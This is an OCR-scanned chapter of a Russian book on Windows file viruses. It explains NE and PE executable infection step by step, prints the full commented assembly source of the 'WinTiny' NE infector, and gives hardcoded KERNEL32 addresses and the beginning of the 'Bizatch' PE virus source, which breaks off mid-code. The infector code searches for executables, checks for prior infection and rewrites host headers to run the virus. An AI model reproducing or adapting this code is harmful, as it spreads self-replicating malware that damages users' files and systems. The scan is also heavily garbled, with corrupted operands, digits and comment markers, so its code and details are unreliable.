ВИРУСЫ ПОД WINDOWS
В
этой главе рассказано
о
вирусах, заражающих фай-
лы
в операционной среде
Windows.
Наиболее подробно
рассмотрены
вирусы под
Windows
95, Представлены
исходные
тексты вирусов
с
подробными комментариями,
Также
приведены основные
сведения
о запускаемых фай-
лах
программ под Windows,
их
структуре, отличиях
от
файлов DOS,
Вирусы под Windows 3.11
В
исполняемом файле Windows содержатся в
различных комбинациях
код,
данные и ресурсы. Ресурсы - это BIN-данные
для прикладных про-
грамм.
Учитывая возможность запуска файла из
DOS, формат данных
должен
распознаваться обеими системами - и
DOS, и Windows.
Для
этого все исполняемые файлы под Windows
содержат два заголов-
ка.
Первый заголовок (старый) - распознается
DOS как программа, вы-
водящая
на экран "This program requires Microsoft Windows".
Второй
заголовок
(NewEXE) - для работы в Windows (см. приложение).
Как
же заразить Windows NewEXE? На первый взгляд
файл формата
WinNE
- обычный ЕХЕ-файл. Начинается он с
заголовка ЕХЕ для
DOS
и программы (STUB), которая выводит сообщение
"This program
requires
Microsoft Windows".
Если
в ЕХЕ-заголовке по смещению 18h стоит
число 40h или больше,
значит
по смещению 3Ch находится смещение
заголовка NewEXE.
Заголовок
NewEXE начинается с символов "NE". Далее
идет собствен-
но
заголовок, в котором содержатся различные
данные, в том числе ад-
реса
смещений таблиц сегментов, ресурсов и
другие. После заголовка
расположена
таблица сегментов, за ней - все остальные
таблицы, далее
размещены
собственно сегменты с кодом.
Итак, порядок действий:
1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8.
2. Заголовок NewEXE сдвигается на 8 байт назад.
3.
В таблицу сегментов добавляется новый
элемент, описывающий
сегмент
вируса.
4.
CS:IP NewEXE изменяется на начало вирусного
кода, само тело
вируса
дописывается в конец файла.
Для
загрузки в память (надо перехватить
вектор INT 21h из-под
Windows)
необходимо использовать функции DPMI
(INT 31h). Дей-
ствия:
выделение сегмента, изменение его прав
доступа, запись вируса,
перехват
прерывания 21h (делается с помощью функций
DPMI).
В
качестве примера приведен полный
исходный текст вируса под Windows.
Принципы
заражения такие же, как и при
заражении^обычного ЕХЕ-фай-
ла,-
изменяется структура ЕХЕ-файла и среда,
в которЬй он работает.
.286
.MODEL
TINY
.CODE
;Сохраним
регистры и флаги
pushf
pusha
push
ds
push
es
.Проверим,
доступен ли DPMI. Если доступен,
Продолжаем,
если нет - выходим
mov ax,1686h
int 2Fh
or ax, ax
jz dpmi_exist
;Восстановим
регистры и флаги
exit:
pop es
pop ds
popa
popf
.Запустим программу-носитель
db
OEAh
reloclP
dw 0
relocCS
dw OFFFFh
dpmi_exist:
;Выделим
линейный
блок
памяти,
используя
DPMI
mov
ax,0501h
mov
cx,OFFFFh
xor
bx.bx
int
31 h
;Сохраним
индекс и 32-битный линейный адрес
.полученного
блока памяти в стеке
push si ~^
push di
push bx
push ex
;Создадим
дескриптор в таблице LDT
хог
ах,ах
mov
ex, 1
int
31 h
;B
поле адреса полученного дескриптора
.установим
адрес нужного блока памяти
mov bx,ax
mov ах,7
pop dx
pop ex
int •31h
;B
поле предела полученного дескриптора
остановим
размер выделенного блока памяти
mov ах,8
mov dx,OFFFFh
хог сх.сх
int 31h
;В
поле прав доступа полученного дескриптора
установим значение,
соответствующее
сегменту данных, доступному для чтения
и записи
mov ах,9
mov cl, 1111001 Ob
хог ch,ch
int 31h
;3агрузим
селектор в регистр DS. После этого регистр
DS будет
оказывать
на выделенный блок памяти
mov
ds.bx
.Читаем
из стека и сохраняем в памяти
;индекс
полученного блока памяти
pop [mem_hnd+2]
pop [mem_hnd]
Получим
текущую
DTA
mov
ah,2Fh
int
21 h
mov
[DTA],bx
mov
[DTA+2],es
;Найдем
первый ЕХЕ-файл (маска *.ЕХЕ)
mov
ah,4Eh
xor
ex,ex
mov
dx,OFFSET wild_exe
push
ds
push
cs
pop
ds
int
21 h
pop
ds
;Если
файл найден, перейдем к заражению, иначе
освободим
;выделенную
область памяти и запустим
программу-носитель
jnc
found_exe
;0свободим
выделенную область памяти
call
free
.Запустим
программу-носитель
jmp
exit
.Перейдем
к следующему файлу - этот не
подходит
close_exe:
;
Закроем файл
mov
ah,3Eh
int
21h
;Найдем
следующий файл
mov
ah,4Fh
int
21h
;Если
файл найден, перейдем к заражению, иначе
освободим
-.выделенную
область памяти и запустим
программу-носитель
jnc
found_exe
;0свободим
выделенную область памяти
call
free
;3апустим
программу-носитель
jmp
exit
;Файл
найден, проверим его на пригодность к
заражению
found
ехе:
;0ткроем
файл для чтения и записи
push
ds
Ids
dx, DWORD PTR [DTA]
add
dx.lEh
mov
ax,3D02h
int
21 h
pop
ds
.Прочтем
старый
заголовок
mov
dx.OFFSET old_hdr
mov
bx.ax
mov
cx,40h
mov
ah,3Fh
int
21h
;Проверим
сигнатуру,
это
ЕХЕ-файл?
cmp
WORD PTR [old_hdr],"ZM"
jne
close_exe
[Проверим смещение таблицы настройки адресов.
;Если значение больше 40h, то это не обычный ЕХЕ-файл.
;Не будем сразу делать вывод,
;что это NewEXE, потому^что это может оказаться
;РЕ-, LE-, LX-executable или другой
;(PE-executable описан в разделе,
[посвященном Windows 95, остальные
;типы ЕХЕ-файлов в этой книге не рассматриваются)
cmp [old_hdr+18h],WORD PTR 40h
jb close_exe
.Перейдем ко второму заголовку (может быть, это NewEXE?):
Переводим указатель к смещению, обозначенному в поле 3Ch
mov dx.WORD PTR [old_hdr+3Ch]
mov cx.WORD PTR [old_hdr+3Eh]
mov ax,4200h
int 21h
;
Прочитаем
второй
заголовок
mov
dx.OFFSET newJ-idr
mov
ex,40h
mov
ah,3fh
int
21h
[Проверим
сигнатуру, если сигнатура "NE", то
это NewEXE-файл
cmp
WORD PTR [new_hdr],"EN"
jne
close_exe
[Проверим,
для Windows ли предназначен этот файл. Если
да, будем
;заражать,
иначе переходим к следующему файлу
mov al,[new_hdr+36h]
and al,2
jz close_exe
.Переместим
указатель чтения/записи в таблицу
сегментов,
;к
элементу, обозначающему сегмент точки
старта программы.
[Для
этого прочтем значение регистра CS при
запуске
[этого
ЕХЕ-файла
mov dx.WORD PTR [new_hdr+16h]
;По
номеру сегмента вычислим положение
соответствующего ему
[элемента
в таблице сегментов
dec dx
shi dx,3
;K
результату прибавим смещение таблицы
сегментов и смещение
.заголовка
NewEXE
add dx,WORD PTR [new_hdr+22h]
add dx.WORO PTR [old_hdr+3ch]
mov cx.WORD PTR [old_hdr+3eh]
[Переместим
указатель чтения/записи
mov
ax,4200h
int
21 h
[Прочтем
из таблицы сегментов смещение логического
сектора
mov
dx,OFFSET temp
mov
ex, 2
mov
ah,3Fh
int
21 h
.Вычислим
смещение сегмента, опираясь на
значения
.смещения
логического сектора и множителя секторов
mov dx.WORD PTR [temp]
mov cx.WORD PTR [new_hdr+32h]
xor ax.ax
cal_entry:
shi dx,1
rcl ax,1
loop cal_entry
.Переместим
16 старших бит 32-битного результата в
регистр СХ
mov
cx,ax
;Прибавим
к результату смещение стартового адреса
(IP)
add
dx,WORD PTR [new_hdr+14h]
adc
cx.O
;Переместим
указатель позиции чтения/записи на
точку старта
.программы
- результат вычисления
mov ax,4200h
int 21 h
;Считаем
первые 10 байт после старта программы
mov
dx, OFFSET temp
mov
cx,10h
mov
ah,3Fh
int
21 h
Проверим,
заражен ли файл. Если считанные 10 байт
в точности
;совпадают
с первыми 10-ю байтами нашего вируса,
файл заражен.
;В
этом случае переходим к поиску следующего,
иначе - заражаем
mov si.OFFSET temp
push cs
pop es
xor di.di
mov ex, 8
eld
rep cmpsw
jne ok_to_infect
jmp close_exe
Приступим
к
заражению
ok_to_infect:
Переместим
NE-заголовок на 8 байт ближе к началу
файла.
;
Исправим соответствующие поля старого
заголовка
sub
WORD PTR [old_hdr+10h],8
sub
WORD PTR [old_hdr+3ch],8
sbb
WORD PTR [old_hdr+3eh],0
;
Исправим значения таблиц в новом
заголовке, чтобы переместились
;только
заголовок и таблица сегментов (без
остальных таблиц)
add WORD PTR [new_hdr+4],8
add WORD PTR [new_hdr+24h],8
add WORD PTR [new_hdr+26h],8
add WORD PTR [new_hdr+28h],8
add WORD PTR [new_hdr+2ah],8
;Сохраним
оригинальные значения точек входа CS и
IP
push
WORD PTR [new_hdr+14h]
pop
[hostJp]
pushTWORD
PTR [new_hdr+16h]
pop
[host_cs]
;Добавим
еще один сегмент в таблицу сегментов и
установим
;точку
входа на его начало
mov WORD PTR [new_hdr+14h],0
inc WORD PTR [new_hdr+1ch]
push WORD PTR [new_hdr+1ch]
pop WORD PTR [new_hdr+16h]
.Переместим
указатель чтения/записи в начало
файла
;(к
старому заголовку)
хог сх.сх
xor dx.dx
mov ax,4200h
int 21 h
;3апишем
старый заголовок, так как
модифицированы
;некоторые
поля его копии в памяти
mov dx.OFFSET old_hdr
mov cx,40h
mov ah,40h
int 21 h
;Переместим
указатель чтения/записи на начало
нового
заголовка
(его переместили на 8 байт к началу файла)
mov dx.WORD PTR [old_hdr+3ch]
mov cx,WORD PTR [old_hdr+3eh]
mov
ax,4200h
int
21 h
;3апишем
новый заголовок, так как в его копии
;в
памяти некоторые поля модифицированы
mov dx, OFFSET new_hdr
mov cx,40h
mov ah,40h
int 21h
.Переместим
указатель чтения/записи на 8 байт
;вперед
- к началу таблицы сегментов
хог сх.сх
mov dx,8
mov ax,4201 h
int 21h
рассчитаем
размер таблицы сегментов и считаем ее
в память
mov
dx,OFFSET temp
mov
cx.WORD PTR [new_hdr+1ch]
dec
ex
shi
cx.3
push
ex
mov
ah,3Fh
int
21h
Переместим
указатель чтения/записи назад, к
позиции
;за
8 байт перед началом таблицы сегментов
pop dx
push dx
add dx,8
neg dx
mov cx,-1
mov ax,4201h
int 21h
;3апишем
таблицу сегментов в файл, но не на ее
прежнее место,
;а
на 8 байт ближе к началу файла
mov dx,OFFSET temp
pop ex
mov ah,40h
int 21h
.Прочтем
текущую позицию чтения/записи (конец
таблицы сегментов)
xor
сх,сх
xor
dx.dx
mov^
ax,4201h
int
21 h
;Сохраним
в стеке текущую позицию чтения/записи
push
dx
push
ax
.Получим
длину файла, переместив указатель
^тения/записи
в конец файла
xor сх.сх
xor dx,dx
mov ax,4202h
int 21 h
;Сохраним
в стеке длину файла
push
dx
push
ax
;Вычислим
и сохраним длину логического сектора
mov
cx.WORD PTR [new_hdr+32h]
mov
ax,1
shi
ax.cl
mov
[log_sec_len],ax
;Вычислим
длину файла в логических секторах
mov
сх.ах
pop
ax
pop
dx
div
ex
-.Учтем
неполный сектор. Если в результате
получился
;остаток,
увеличим количество секторов
or dx,dx
jz no_rmd
inc
ax
no_rmd:
;3аполним
поля нового элемента в таблице
сегментов
mov
[my_seg_entry],ax
3-1436
mov [my_seg_entry+2],OFFSET vir_end
mov [my_seg_entry+4],180h
mov [my_seg_entry+6],OFFSET vir_end
;Восстановим
из стека позицию в файле конца таблицы
секторов
pop
dx
pop
ex
Переместим
указатель чтения/записи к этой позиции
mov
ax,4200h
int
21 h
.Запишем
в конец таблицы новый элемент
mov
dx,OFFSET my_seg_entry
mov
ex,8
mov
ah,40h
int
21 h
;Скопируем тело вируса в область памяти, которую выделили
;в начале программы, для изменений в нем. В защищенном режиме
;(а работаем именно в нем), нельзя производить запись в сегмент
;кода. Если по какой-то причине нужно произвести изменение
;в сегменте кода, создается алиасный дескриптор данных
;(дескриптор, содержащий то же смещение и длину,
;что и сегмент кода), и дальнейшая работа ведется с ним.
;В данном случае просто воспользуемся выделенным блоком памяти
push ds
pop es
push cs
pop ds
xor si,si
mov di,OFFSET temp
mov ex,OFFSET vir_end
eld
rep movsb
push es
pop ds
Инициализируем
адрес точки входа
mov
si,OFFSET temp
mov
WORD PTR [si+reloc!P],0
mov
WORD PTR [si+relocCS],OFFFFh
Переместим указатель чтения/записи на новую точку входа
mov ax,[my_seg_entry]
mov cx,[log_sec_len]
mul ex
mov cx.dx
mov dx.ax
mov ax,4200h
int 21h
;3апишем тело вируса в файл
mov dx, OFFSET temp
mov ex,OFFSET vir_end
mov ah,40h
int 21h
.Инициализируем
поля перемещаемого элемента
mov
WORD PTR [reloc_data],1
mov
BYTE PTR [reloc_data+2],3
mov
BYTE PTR [reloc_data+3],4
mov
WORD PTR [reloc_data+4],OFFSET reloclP
;3апишем
перемещаемый элемент
mov
dx,OFFSET reloc_data
mov
ex, 10
mov
ah,40h
int
21h
[Закроем
файл
mov
ah,3Eh
int
21h
.Освободим
выделенный блок памяти
call
free
;3апустим
программу-носитель
jmp
exit
.Процедура,
освобождающая выделенный блок памяти
free
PROC NEAR
mov ax,0502h
mov si,[mem_hnd]
mov di,[mem_hnd+2]
з*
int
31 h
ret
free
ENDP
;
Маска для поиска файлов
wild_exe
DB "•ЕХЕ-.О
;Имя вируса
DB "WinTiny"
;Идентификатор,
указывающий на конец инициализированных
данных
vir_end:
.Индекс
выделенного блока памяти
mem_hnd
DW ?
DW
?
;Адрес
текущей DTA
DTA
DW ?
DW
?
;Место
для хранения старого заголовка
olcLhdr
DB 40h dup (?)
.Место
для хранения нового заголовка
new_hdr
DB 40h dup (?)
;Длина
логического номера сектора
log_sec_len
DW ?
;
Новый элемент в таблице сегментов
my_seg_entry
DW ?
DW ?
DW ?
DW ?
.Перемещаемый
элемент
reloc_dataDW
?
DB ?
DB ?
DW?
;3начение
оригинальной точки входа
host_cs
DW ?
hostJp
DW ?
;0бласть
памяти для использования
temp
DB ?
END
Вирусы под Windows 95
Формат
Portable Executable используется Win32, Windows NT
и
Windows 95, что делает его очень популярным,
и в будущем, возмож-
но,
он станет доминирующим форматом ЕХЕ.
Этот формат значитель-
но
отличается от NE-executable, используемого в
Windows 3.11.
вызов Windows 95 API
Обычные
приложения вызывают Windows 95 API (Application
Program
Interface)
используя таблицу импортируемых имен.
Когда приложение
загружено,
данные, необходимые для вызова API,
заносятся в эту табли-
цу.
В Windows 95, благодаря предусмотрительности
фирмы-производите-
ля
Microsoft, модифицировать таблицу импортируемых
имен невозможно.
Эта
проблема решается непосредственным
вызовом KERNEL32. То есть
необходимо
полностью игнорировать структуру вызова
и перейти не-
посредственно
на точку входа DLL.
Чтобы
получить описатель (Handle) DLL/EXE, можно
использовать
вызов
API GetModuleHandle или другие функции для
получения точек
входа
модуля, включая функцию получения адреса
API GetProcAddress.
Как
вызывать API, имея возможность вызывать
его и в то же время та-
кой
возможности не имея? Ответ: вызывать
API, расположение которо-
го
в памяти известно - это API в файле
KERNEL32.DLL, он находится
по
постоянному адресу.
Вызов API приложениями выглядит приблизительно так:
call
APLFUNCTIONJMAME
например:
call
CreateFileA
После
компиляции этот вызов выглядит так:
db
9Ah .инструкция call
dd
7777
;смещение в таблице переходов
Код в таблице переходов похож на такой:
jmp far [offset into import table]
Смещение
в таблице импортируемых имен содержит
адрес диспетчера
для
данной функции API. Этот адрес можно
получить с помощью
GetProcAddress
API. Диспетчер функций выглядит так:
push
function value
call
Module Entrypoint
Зная
точки входа, можно вызывать их напрямую,
минуя таблицу этого
модуля.
Поэтому можно заменить вызовы KERNEL32.DLL
в его стан-
дартной
точке на вызовы непосредственно функций.
Просто сохраняем
в
стеке значение функции и вызываем точку
входа в модуль.
Модуль
KERNEL32 располагается в памяти статически
- именно так
и
предполагалось. Но конкретное место
его расположения в разных вер-
сиях
Windows 95 отличается. Это было проверено.
Оказалось, что одна
функция
(получение времени/даты) отличается
номером. Для компен-
сации
этих различий добавлена проверка двух
различных мест на нали-
чие
KERNEL32. Но если KERNEL32 все-таки не найден,
вирус возвра-
щает
управление программе-носителю.
Адреса и номера функций
Для
June Test Release KERNEL32 находится по адресу
OBFF93B95h, для
August
Release - по адресу OBFF93ClDh. Можно найти другие
значе-
ния
функции, используя 32-битный отладчик.
В таблице 3.1 приведены
адреса
функций, которые нужны для работы вируса.
Таблица 3.1. Адреса некоторых функций KERNEL
Функция |
Адрес в June Test Release |
Адрес
в August Test |
GetCurrentDir |
BFF77744h |
BFF77744h |
SetCurrentDir |
BFF7771Dh |
BFF7771Dh |
GetTime |
BFF9DOB6h |
BFF9D14Eh |
MessageBox |
BFF638D9h |
BFF638D9h |
FindFile |
BFF77893h |
BFF77893h |
FindNext |
BFF778CBh |
BFF778CBh |
CreateFile |
BFF77817h |
BFF77817h |
SetFilePointer |
BFF76FAOh |
BFF76FAOh |
ReadFile |
BFF75806h |
BFF75806h |
WriteFile |
BFF7580Dh |
BFF7580Dh |
CloseFile |
BFF7BC72H |
BFF7BC72h |
Соглашения о вызовах
Windows
95 написан на языках C++ (в основном) и
Assembler. И, хотя
соглашения
о вызовах просты для применения, Microsoft
их не исполь-
зует.
Все API под Wm95 используют Pascal Calling
Convention. При-
мер
- API, описанный в файлах справки Visual C++:
FARPROC GetProcAddress(
HMODULE
hModule, // описатель DLL-модуля
LPCSTR
IpszProc // имя функции
);
На
первый взгляд кажется, что достаточно
лишь сохранить в стеке опи-
сатель
DLL-модуля (он стоит перед указателем на
имя функции) и выз-
вать
API. Но это не так. Параметры, согласно
Pascal Calling Convention,
должны
быть сохранены в стеке в обратном
порядке:
push offset IpszProc
push dword ptr [hModule]
call GetProcAddress
Используя
32-битный отладчик, можно оттрассировать
вызов и найти
вызов
KERNEL32 для каждого конкретного случая.
Это позволит полу-
чить
номер функции и обойтись без необходимой
для вызова таблицы
импортируемых
имен.
Заражение файлов формата PE-executable
Определение
положения начала РЕ-заголовка происходит
аналогично
поиску
начала NE-заголовка. Если смещение таблицы
настройки адре-
сов
(поле 18h) в заголовке ЕХЕ-файла 40h или
больше, то по смещению
ЗСЬ
находится смещение PE-executable заголовка.
Сигнатура PE-execu-
table
("РЕ") находится, как и у NE-executable
ЕХЕ-файла, в начале но-
вого
заголовка.
Внутри
РЕ-заголовка находится таблица объектов.
Ее формат наиболее
важен
по сравнению с прочими. Для добавления
вирусного кода в но-
ситель
и перехвата вирусом управления необходимо
добавить элемент
в
таблицу объектов.
Основные действия заражения PE-executable файла:
1. Найти смещение заголовка PE-executable в файле.
2.
Считать достаточное количество информации
из заголовка для
вычисления
его полного размера.
3. Считать весь РЕ-заголовок и таблицу объектов.
4. Добавить новый объект в таблицу объектов.
5. Установить точку входа RVA на новый объект.
6. Дописать вирус к файлу по вычисленному физическому смещению.
7.
Записать измененный РЕ-заголовок в
файл.
Для
определения расположения таблицы
объектов следует воспользо-
ваться
значением переменной "HeaderSize" (не
путать с "NT
headersize"),
которая содержит совместный размер
заголовков DOS, РЕ
и
таблицы объектов.
Для
чтения таблицы объектов необходимо
считать HeaderSize байт
от
начала файла.
Таблица
объектов расположена непосредственно
за NT-заголовком. Зна-
чение
"NTheadersize" показывает количество
байт, следующих за полем
"flags".
Итак, для определения смещения таблицы
объектов нужно по-
лучить
NTheaderSize и добавить размер поля флагов
(24).
Добавление
объекта: получив количество объектов,
умножить его на 40
(размер
элемента таблицы объектов). Таким образом
определяется сме-
щение,
по которому будет расположен вирус.
Данные
для элемента таблицы объектов должны
быть вычислены с исполь-
зованием
информации в предыдущем элементе
(элементе носителя).
RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)
*OBJ Alignment
Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)
*OBJ Alignment
Physical Size=(size of virus/File Alignment+1 )*File Alignment
Physical Offset=prev Physical Offset+prev Physical Size
Object Flags=db 40h,0,O.COh
Entrypoint RVA=RVA
Теперь
необходимо увеличить на единицу поле
"количество объектов"
и
записать код вируса по вычисленному
"физическому смещению"
в
размере "физического размера"
байт.
Пример вируса под Windows 95
.386
locals
jumps
.model flat.STDCALL
include win32.inc некоторые 32-битные константы и структуры
L
equ
;0пределим
внешние функции, к которым будет
подключаться вирус
extrn
BeginPaint:PROC
extrn
CreateWindowExA:PROC
extrn
DefWindowProcA:PROC
extrn
DispatchMessageA:PROC
extrn
EndPaint:PROC
extrn
ExitProcess.-PROC
extrn
FindWindowA:PROC
extrn
GetMessageA:PROC
extrn
GetModuleHandleA:PROC
extrn
GetStockObject:PROC
extrn
lnvalidateRect:PROC
extrn
LoadCursorA:PROC
extrn
LoadlconA:PROC
extrn
MessageBeep:PROC
extrn
PostQuitMessage:PROC
extrn
RegisterClassA:PROC
extrn
ShowWindow:PROC
extrn
SetWindowPos:PROC
extrn
TextOutA:PROC
extrn
TranslateMessage:PROC
extrn
UpdateWindow:PROC
;Для поддержки Unicode Win32 интерпретирует некоторые функции
;для ANSI или расширенного набора символов.
;В качестве примера рассмотрим ANSI
CreateWindowEx
equ
DefWindowProc
equ
DispatchMessage
equ
FindWindow
equ
GetMessage
equ
GetModuleHandle
equ
LoadCursor
equ
Loadlcon
equ
MessageBox
equ
RegisterClass
equ
TextOut
equ
•data
newhwnd dd 0
Ippaint PAINTSTRUCT >
msg MSGSTRUCT >
we WNDCLASS >
mbx_count dd 0
hinst dd 0
szTitleName db "Bizatch by Quantum / VLAD activated"
zero db 0
szAlternate db "more than once",0
szClassName db "ASMCLASS32",0
[Сообщение,
выводимое в окне
szPaint
db "Left Button pressed:"
s_num
db "OOOOOOOOh times.",0
.Размер сообщения
MSG_L EQU ($-offset szPaint)--!
.code
;Сюда
обычно передается управление от
загрузчика.
start:
.Получим
HMODULE
push
L О
call
GetModuleHandle
mov
[hlnst],eax
push
L 0
push
offset szClassName
call
FindWindow
or
eax.eax
jz
reg_class
.Пространство для модификации строки заголовка
mov
[zero]," "
reg_class:
;Инициализируем структуру WndClass
mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS
mov [wc.clsLpfnWndProc],offset WndProc
mov [wc.clsCbClsExtra],0
mov [wc.clsCbWndExtra],0
mov eax,[hlnst]
mov [wc.clsHlnstance], eax
[Загружаем значок
push
L IDLAPPLICATION
push
L 0
call
Loadlcon
mov
[wc.clsHlcon], eax
; Загружаем курсор
push L IDC.ARROW
push L 0
call LoadCursor
mov [wc.clsHCursor], eax
.Инициализируем
оставшиеся поля структуры WndClass
mov
[wc.clsHbrBackground],COLOR_WINDOW+1
mov
dword ptr [wc.clsLpszMenuName],0
mov
dword ptr [wc.clslpszClassNameJ.offset szClassName
;Регистрируем
класс окна
push
offset we
call
RegisterClass
; Создаем окно
push
L 0 .IpParam
push
[hinst] .hinstance
push
L 0 ;Меню
push
L 0 ;hwnd родительского окна
push
L CWJJSEDEFAULT ;Высота
push
L CWJJSEDEFAULT ;Длина
push
L CWJJSEDEFAULT ;Y
push
L CWJJSEDEFAULT ;X
push
L WSJ3VERLAPPEDWINDOW ;Style
push
offset szTitleName ;Title Style
push
offset szClassName ;Class name
push
L 0 ;extra style
call
CreateWindowEx
.Сохраняем HWND
mov [newhwnd], eax
.Отображаем
окно на экране
push
L SW.SHOWNORMAL
push
[newhwnd]
call
ShowWindow
;0бновляем
содержимое окна
push
[newhwnd]
call
UpdateWindow
;0чередь
сообщений
msgJoop:
.Прочитаем
следующее сообщение из очереди
push
L О
push
L О
push
L О
push
offset msg
call
GetMessage
;Если
функция GetMessage вернула нулевое значение,
то завершаем
[обработку
сообщений и выходим из процесса
стр ах.0
je endJoop
Преобразуем
виртуальные коды клавиш в сообщения
клавиатуры
push
offset msg
call
TranslateMessage
Передаем
это сообщение назад в Windows
push
offset msg
call
DispatchMessage
[Переходим
к следующему сообщению
jmp
msgJoop
;Выход
из процесса
endJoop:
push [msg.msWPARAM]
call ExitProcess
.Обработка сообщений окна. Win32 требует сохранения регистров
;ЕВХ,
EDI. ESI. Запишем эти регистры после "uses"
в строке "ргос".
;Это
позволит Ассемблеру сохранить их
WndProc
proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD,
wparam:DWORD,
lparam:DWORD
LOCAL
theDC: DWORD
[Проверим,
какое сообщение получили, и перейдем к
обработке
cmp
[wmsg],WM_DESTROY
je
wmdestroy
стр
[wmsg],WM_RBUTTONDOWN
je
wmrbuttondown
cmp
[wmsg],WM_SIZE
je
wmsize
cmp
[wmsg].WM_CREATE
je
wmcreate
cmp [wmsg],WM_LBUTTONDOWN
je wmlbuttondown
cmp [wmsg],WM_PAINT
je wm paint
cmp [wmsg],WM_GETMINMAXINFO
je wmgetminmaxinfo
Данная
программа не обрабатывает это
сообщение.
.Передадим
его Windows,
:чтобы
оно было обработано по умолчанию
jmp
defwndproc
.Сообщение
WM_PAINT (перерисовать содержимое
окна)
wmpaint:
Подготовим
окно для перерисовки
push
offset Ippaint
push
[hwnd]
call
BeginPaint
mov
[theDC], eax
;Переведем
в ASCII-формат значение mbx_count, которое
доказывает,
сколько раз была нажата левая кнопка
мыши
mov eax,[mbx_count]
mov edi, offset s_num
call HexWrite32
; Вывод строки в окно
push L MSG_L ;Длина строки
push offset szPaint ;Строка
push L 5 ;Y
push L 5 ;X
push
[theDC] ;DC
call
TextOut
;0бозначим
завершение перерисовки окна
push
offset Ippaint
push
[hwnd]
call
EndPaint
;
Выходим из обработки сообщения
mov
eax, 0
jmp
finish
;Сообщение
WM_CREATE (создание окна)
wmcreate:
;
Выходим из обработки сообщения
mov
eax, О
jrnp
finish
[Сообщение,
не обрабатываемое данной программой,
передаем Windows
defwndproc:
push [Iparam]
push [wparam]
push [wmsg]
push [hwnd]
call DefWindowProc
[Выходим
из обработки сообщения
jmp
finish
[Сообщение
WM_DESTROY (уничтожение окна)
wmdestroy:
[Закроем
поток
push
L О
call
PostQuitMessage
[Выходим
из обработки сообщения
mov
eax, О
jmp
finish
.Сообщение
WMJ-BUTTONDOWN (нажата левая кнопка
мыши)
wmlbuttondown:
inc [mbx_count]
[Обновим
содержимое окна
push
L О
push
L О
push
[hwnd]
call
InvalidateRect
[Выходим
из обработки сообщения
mov
eax, О
jmp
finish
[Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши)
wmrbuttondown:
push
L 0
call
MessageBeep
;
Выход им из обработки сообщения
jmp
finish
;Сообщение
WM_SIZE (изменен размер окна)
wmsize:
[Выходим
из обработки сообщения
mov
eax, О
jmp
finish
[Сообщение
WM_GETMINMAXINFO (попытка изменить размер
;или
положение окна)
wmgetminmaxinfo:
[Заполним
структуру MINMAXINFO
mov
ebx, [Iparam]
mov
[(MINMAXINFO ptr ebx).mintrackposition_x],350
mov
[(MINMAXINFO ptr ebx).mintrackposition_y],60
.Выходим
из обработки сообщения
mov
eax, 0
jmp
finish
[Выходим
из обработки сообщения
finish:
ret
WndProc
endp
Процедура
перевода байта в ASCII-формат для печати.
Значение,
[находящееся
в регистре AL, будет записано в
ASCII-формате
;по
адресу ES:EDI
HexWriteS
proc
;
Разделяем байт на полубайты и загружаем
их в регистры АН и AL
mov
ah.al
and
al.OFh
shr
ah,4
[Добавляем
30h к каждому полубайту, чтобы регистры
содержали коды
[соответствующих
символов ASCII. Если число,
;записанное
в полубайте, было больше 9,
;то
значение в этом полубайте надо еще
корректировать
or
ax,3030h
.Меняем
полубайты местами, чтобы регистр АН
содержал младший
.полубайт,
а регистр AL - старший
xchg
al.ah
;Проверим.
надо ли корректировать младший
полубайт,
.если
да - корректируем
cmp ah, 39h
ja @@4
[Проверим,
надо ли корректировать старший
полубайт,
;если
да - корректируем
@@1:
cmp al,39h
ja @@3
;Сохраним
значение по адресу ES:EDI
@@2:
stosw
ret
.Корректируем
значение старшего полубайта
@@3:
sub al, 30h
add al, "A"-10
jmp @@2
[Корректируем
значение младшего полубайта
@@4:
sub ah, 30h
add ah, "A"-10
jmp
@@1
HexWriteS
endp
[Процедура
перевода слова в ASCII-формат для
печати.
[Значение,
находящееся в регистре АХ, будет
записано
;в
ASCII-формате по адресу ES:EDI
HexWrite16
proc
;Сохраним
младший байт из стека
push
ax
;3агрузим
старший байт в регистр А1_
xchg
al,ah
.Переведем
старший байт в ASCII-формат
call
HexWrite8
;
Восстановим младший байт из стека
pop
ax
Переведем младший байт в ASCII-формат
call HexWrite8
ret
HexWrite-16
endp
Процедура
перевода двойного слова в ASCII-формат
для печати.
;3начение,
находящееся в регистре ЕАХ, будет
записано
;в
ASCII-формате по адресу ES:EDI
HexWrite32
proc
.Сохраним
младшее слово из стека
push
eax
;
Загрузим старшее слово в регистр АХ
shr
eax, 16
[Переведем
старшее слово в ASCII-формат
call
HexWrite-16
[Восстановим
младшее слово из стека
pop
eax
[Переведем младшее слово в ASCII-формат
call HexWrite-16
ret
HexWrite32
endp
[Сделаем
процедуру WndProc доступной извне
public
WndProc
ends
[Здесь
начинается код вируса. Этот код
переписывается из файла
;в
файл. Все вышеописанное - всего лишь
программа-носитель
vladseg
segment para public "vlad"
assume
cs:vladseg
vstart:
;Вычислим текущий адрес
call
recalc
recalc:
pop ebp
mov eax.ebp
db
2Dh ;Код команды SUB AX
subme
dd 30000h+(recalc-vstart)
;Сохраним
адрес в стеке
push
eax
[Вычислим
стартовый адрес вирусного кода
sub
ebp.offset recalc
.Ищем
KERNEL. Возьмем вторую известную нам точку
KERNEL
mov
eax,[ebp+offset kern2]
Проверим
ключ. Если ключа нет, перейдем к точке
1
cmp
dword ptr [eax],5350FC9Ch
jnz
notkern2
;KERNEL найден, точка 2
mov
eax,[ebp+offset kern2]
jmp
movit
;Точка
2 не подошла, проверим точку 1
notkern2:
;Возьмем
адрес первой известной нам точки
KERNEL
mov
eax,[ebp+offset kern1]
Проверим
ключ, если ключа нет - выходим
cmp
dword ptr [eax],5350FC9Ch
jnz
nopayload
;KERNEL найден, точка 1
mov eax,[ebp+offset kern1]
;KERNEL
найден, адрес точки входа находится в
регистре EAX
movit:
.Сохраним
адрес KERNEL
mov
[ebp+offset kern].eax
eld
;3апомним
текущую директорию
lea
eax, [ebp+offset orgdir]
push
eax
push
255
call
GetCurDir
; Инициализируем счетчик заражений
mov byte ptr [ebp+offset countinfect],0
;Ищем
первый файл
infectdir:
lea eax, [ebp+offset win32_data_thang]
push eax
lea eax, [ebp+offset fname]
push eax
call FindFile
;Сохраним индекс для поиска
mov dword ptr [ebp+offset searchhandle],eax
.Проверим,
